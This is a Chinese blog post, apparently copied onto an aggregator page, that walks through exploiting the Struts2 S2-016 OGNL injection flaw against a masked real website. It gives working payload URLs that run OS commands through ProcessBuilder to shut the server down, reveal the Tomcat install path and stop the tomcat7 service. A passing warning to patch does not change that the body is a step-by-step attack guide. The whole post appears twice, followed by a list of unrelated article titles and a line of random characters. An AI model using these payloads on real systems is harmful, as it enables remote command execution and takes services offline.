struts2漏洞攻击一例
来源:互联网 发布:京瓷300i网络打印设置 编辑:程序博客网 时间:2024/05/24 04:52
怎样利用Struts2的漏洞(2.0.0<=version<=2.3.15)搞垮一个基于Struts2写的网站?
Struts是java web frameworks里面的鼻祖了,现在大量的web apps里面,从政府网站到金融系统,都有她的影子(大量的系统都是采用一种被用烂了的SSH(Struts+Spring+Hibernate)组合来做的)。甚至阿里/淘宝也有一些系统使用了Struts(阿里其实有更好更安全的webx框架的)。
最近被热议的一个高危安全漏洞:http://struts.apache.org/release/2.3.x/docs/s2-016.html,导致了黑产界的暗流涌动,掀起继CSDN被“脱裤”以来的又一波“脱裤”热潮。虽然我没怎么使用过struts(只用过struts1.1,那已经是7年以前的陈年旧事了),也忍不住关注了一下这个漏洞。这个漏洞的根源在于ognl,让注入远程恶意代码有隙可乘。那些还在用Struts2的java程序员们,赶紧补漏洞去吧,安全第一。
下面用一个简单的恶意攻击例子来说明一下这个漏洞的高危性:
1. 选Victim。怎么知道它是用struts做的呢?通常是500错误告诉我们的,一般随便去下载一个不存在的文件,那些粗制滥造的网站就报500了,错误信息栈暴露了它的OS信息(它会直接告诉我们D:/.../xxx.pdf不存在,那就肯定是Windows了),还有Apache的版本、Tomcat的版本,从错误信息还可以看出它使用的是SSH... (做web apps的同学们,一定要自己定制500页面啊,否则一不小心就暴露了。。。)
2. 开始第一波攻击:
http://www.**.com/struts2-showcase/employee/save.action?redirectAction:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'shutdown','-s','-t','2'})).start()}
它返回的是http://www.**.com/struts2-showcase/employee/java.lang.ProcessImpl@e18f46.action, 说明这个process成功启动了,2秒之后它的服务器就会被关掉。
再去用Chrome访问http://www.**.com/,Chrome告诉我的是Oops! Google Chrome could not connect to www.**.com,证明服务器确实被我关掉了?
不要高兴得太早,过了一两分钟发现它又回来了 -- 莫非它的服务器会自动重启的?
3. 开始第二波攻击:
既然关你服务器没用,那我直接干掉你的猫(管它猫有没有9条命)
猜想它tomcat是配了windows服务的,如果真是这样,只要net stop xx就可以杀掉这只猫。那么这个xx是什么呢?这就需要知道tomcat的版本了。
那么怎么知道tomcat的版本呢?我们可以一个一个去猜,到目前为止,tomcat最高版本也就7嘛,这个好猜。
不想猜的话,那就让它自己来告诉我们:http://www.**.com/struts2-showcase/employee/save.action?redirectAction:%25{(new+java.io.File('.')).getAbsolutePath().replaceAll(':','')}
它返回的是 http://www.**.com/struts2-showcase/employee/D/program%20files/apache-tomcat-7.0.29/bin/..action
说明这只猫在D:/program files/apache-tomcat-7.0.29/这里,版本是7.0.29,那么对应的服务名就应该是tomcat7了。
出绝招:http://www.**.com/struts2-showcase/employee/save.action?redirectAction:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'net','stop','tomcat7'})).start()}
4. 这次这只猫真的死翘翘了,www.**.com再也打不开了。收工。
Struts是java web frameworks里面的鼻祖了,现在大量的web apps里面,从政府网站到金融系统,都有她的影子(大量的系统都是采用一种被用烂了的SSH(Struts+Spring+Hibernate)组合来做的)。甚至阿里/淘宝也有一些系统使用了Struts(阿里其实有更好更安全的webx框架的)。
最近被热议的一个高危安全漏洞:http://struts.apache.org/release/2.3.x/docs/s2-016.html,导致了黑产界的暗流涌动,掀起继CSDN被“脱裤”以来的又一波“脱裤”热潮。虽然我没怎么使用过struts(只用过struts1.1,那已经是7年以前的陈年旧事了),也忍不住关注了一下这个漏洞。这个漏洞的根源在于ognl,让注入远程恶意代码有隙可乘。那些还在用Struts2的java程序员们,赶紧补漏洞去吧,安全第一。
下面用一个简单的恶意攻击例子来说明一下这个漏洞的高危性:
1. 选Victim。怎么知道它是用struts做的呢?通常是500错误告诉我们的,一般随便去下载一个不存在的文件,那些粗制滥造的网站就报500了,错误信息栈暴露了它的OS信息(它会直接告诉我们D:/.../xxx.pdf不存在,那就肯定是Windows了),还有Apache的版本、Tomcat的版本,从错误信息还可以看出它使用的是SSH... (做web apps的同学们,一定要自己定制500页面啊,否则一不小心就暴露了。。。)
2. 开始第一波攻击:
http://www.**.com/struts2-showcase/employee/save.action?redirectAction:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'shutdown','-s','-t','2'})).start()}
它返回的是http://www.**.com/struts2-showcase/employee/java.lang.ProcessImpl@e18f46.action, 说明这个process成功启动了,2秒之后它的服务器就会被关掉。
再去用Chrome访问http://www.**.com/,Chrome告诉我的是Oops! Google Chrome could not connect to www.**.com,证明服务器确实被我关掉了?
不要高兴得太早,过了一两分钟发现它又回来了 -- 莫非它的服务器会自动重启的?
3. 开始第二波攻击:
既然关你服务器没用,那我直接干掉你的猫(管它猫有没有9条命)
猜想它tomcat是配了windows服务的,如果真是这样,只要net stop xx就可以杀掉这只猫。那么这个xx是什么呢?这就需要知道tomcat的版本了。
那么怎么知道tomcat的版本呢?我们可以一个一个去猜,到目前为止,tomcat最高版本也就7嘛,这个好猜。
不想猜的话,那就让它自己来告诉我们:http://www.**.com/struts2-showcase/employee/save.action?redirectAction:%25{(new+java.io.File('.')).getAbsolutePath().replaceAll(':','')}
它返回的是 http://www.**.com/struts2-showcase/employee/D/program%20files/apache-tomcat-7.0.29/bin/..action
说明这只猫在D:/program files/apache-tomcat-7.0.29/这里,版本是7.0.29,那么对应的服务名就应该是tomcat7了。
出绝招:http://www.**.com/struts2-showcase/employee/save.action?redirectAction:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'net','stop','tomcat7'})).start()}
4. 这次这只猫真的死翘翘了,www.**.com再也打不开了。收工。
0 0
- struts2漏洞攻击一例
- struts2漏洞攻击一例
- struts2漏洞攻击一例 怎样利用Struts2的漏洞(2.0.0<=version<=2.3.15)搞垮一个基于Struts2写的网站? Struts是java web framewor
- struts2漏洞攻击方法与解决方案
- Struts2 OGNL漏洞 (方案一)
- Struts2 漏洞 网络攻击,恶意关闭,添加用户,解决办法!
- Word一漏洞被用来实施“鱼叉式钓鱼”攻击
- ewebeditor漏洞,ewebeditor漏洞攻击
- struts2漏洞
- Struts2漏洞
- struts2漏洞
- Struts2漏洞
- struts2 漏洞
- CGI漏洞攻击手册
- DNS漏洞攻击代码
- SQL注入漏洞攻击
- Sql 注入漏洞攻击
- sql注入漏洞攻击
- datetimepicker for bootstrap v3
- java防止反编译
- 我的13~14——蜕变的一年
- IP138 IP地址查询 php实例
- Redhat Linux install Eclipse
- struts2漏洞攻击一例
- c++ 解析纯真IP数据库qqwry
- virtualbox迁移.vdi
- 离开对方立刻感到风流快活积分卡劳动纪律看到飞机离开
- 用C++在cocos2d-x 3.2下完美解决Menu吞掉事件导致ScrollView等无法响应的问题
- STL算法---集合算法
- 单例模式
- 安装、配置和运行OpenFOAM 1.7.0
- Oracle启动netca报错libclntsh.so.11.1问题